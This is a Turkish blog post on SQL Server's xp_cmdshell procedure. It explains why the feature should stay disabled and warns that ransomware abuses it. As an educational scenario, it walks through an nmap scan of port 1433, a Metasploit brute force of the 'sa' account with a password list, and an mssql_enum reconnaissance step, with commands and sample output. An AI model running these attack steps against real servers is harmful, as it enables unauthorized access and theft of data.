xp_cmdshell Nedir? Neden aktif edilmemelidir?

Tuncay ÖZER Tuncay ÖZER


Aralık 2020 SQL Server (6) 0


xp_cmdshell Nedir? Neden aktif edilmemelidir?

Günümüzde son yılların en tehlikeli virüslerinden biri olan kripto (ransom) virüslerin, SQL Server kurulu sistemlere eriştikten sonra şifreleme yapabilmesi için sql servislerini durdurması gerekir.
SQL Server servisleri aktif çalışır haldeyken  .mdf ve .ldf dosyalarına dışarıdan erişilse bile Database dosyaları üzerinde herhangi bir müdahale yapamamaktadır.  Bu durum ancak SQL servislerinin durdurulması ile yada veri tabanı dosyasının detach işlemi ile mümkün olmaktadır. Çalışan sistemlerde  SQL oturum bilgisi ele geçirilmiş kurbanlarda ilk yapılan işlem veriyi çalmadan önce Script çalıştırarak detach işlemini yaparak veya şifreleme yaparken ise servislerin durdurulmasını sağlayarak şifreleme sürecini başlatmaktır. Siber saldırgan veya tarafından tasarlanmış yazılım SQL sunucuya saldırırken xp_cmdshell prosedürü ile çalışma yetkisine sahip bir kullanıcı bulmuş ise servisi durdurup şifrelemeyi başlatacaktır.
 

xp_cmdshell, SQL Server platformu içinden işletim sistemi cmd komut satırına komut göndermeyi ve çalıştırmaya imkan sağlayan stored procedure'dür. Bu özelliği sayesinde işletim sistemi cmd ekranında yeni bir kullanıcı açıp, full yetki verebilir, sisteminize format komutunu göndererek her şeyi silebilir veya basit bir keylogger da yapabilir. Sql server default kurulumlarda bu eğer değişiklik yapmadıysanız, kapalı gelmektedir. Fakat kontrol etmek isterseniz, Database'in genel ayarlarının olduğu Master veritabanına aşağıdaki komutları yazarak sonuçlarını görebilirsiniz. Eğer config_value değeri sıfır (0) ise bu özellik kapalı, bir(1) ise açık demektedir.

USE master;
GO
EXEC sp_configure 'show advanced option'

Şimdi xp_cmdshell ile yapılabilecekleri test edelim. Öncelikle nmap kullanarak sistem veya sistemler üzerinde kurulu Database ve türlerini
tespit edelim. Aşağıdaki komut ile

# sudo nmap -sT -sV 10.1.1.1 -p 1433 -PN

Starting Nmap 6.1 ( ) at 2012-01-29 21:53 EET

Nmap scan report for 10.1.1.1.dynamic.ttnet.com.tr (10.1.1.1)
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2012

database  tespiti yaptık. Microsoft SQL Server 2012 servisi çalışmaktadır. Mssql sunucularda en yetkili kullanıcı  “sa” dir. Bu hesap ile, MSSql server en yüksek yetkilerle yönetilebilir. “sa” hesabına yönelik brute force denemesi yapıyoruz.

#msfconsole

msf > use auxiliary/scanner/mssql/mssql_login

msf auxiliary(mssql_login) > set RHOSTS 10.1.1.1
RHOSTS => 10.1.1.1

msf auxiliary(mssql_login) > set USERPASS_FILE /home/xarxes/pass.lst
USERPASS_FILE => /home/xarxes/pass.lst

msf  auxiliary(mssql_login) > exploit

[*] 10.1.1.1:1433 MSSQL – [01/19] – Trying username:’sa’ with password:”
[-] 10.1.1.1:1433 MSSQL – [01/19] – failed to login as ‘sa’


[+] 10.1.1.1:1433 – MSSQL – successful login ‘sa’ : ‘benimgizliparolam’,
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Üst üste gönderilen parola şifre girişi denemelerine karşı, bir güvenlik politikası yoksa brute force saldırısı ile parola elde edilebilir. Elde edilen kullanıcı ve parola bilgileri ile  veritabanı ve tablo yapısı, veritabanı kullanıcıları, konfigürasyon parametreleri,  mssql’e login olmuş kullanıcıları ve mssql sunucunun çalıştığı işletim sistemindeki kullanıcı hesapları  gibi bilgiler toplayabiliriz. Bunun için ;

msf > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(mssql_enum) > set RHOST 10.1.1.1
RHOST => 10.1.1.1
msf auxiliary(mssql_enum) > set PASSWORD gizliparola
PASSWORD => gizliparola
msf auxiliary(mssql_enum) > exploit

kullanarak bilgileri listeleyebiliriz. Gerisini saldırgan veya tarafından hazırlanan yazılım ile işlemlere veya saldırılarına devam eder. Burada xp_cmdshell 'i özellikle kapalı konumda tutmamız için eğitim niteliğinde bir senaryo çizilmiştir. Daha kötüsü de olabilir. 

 

sql server ,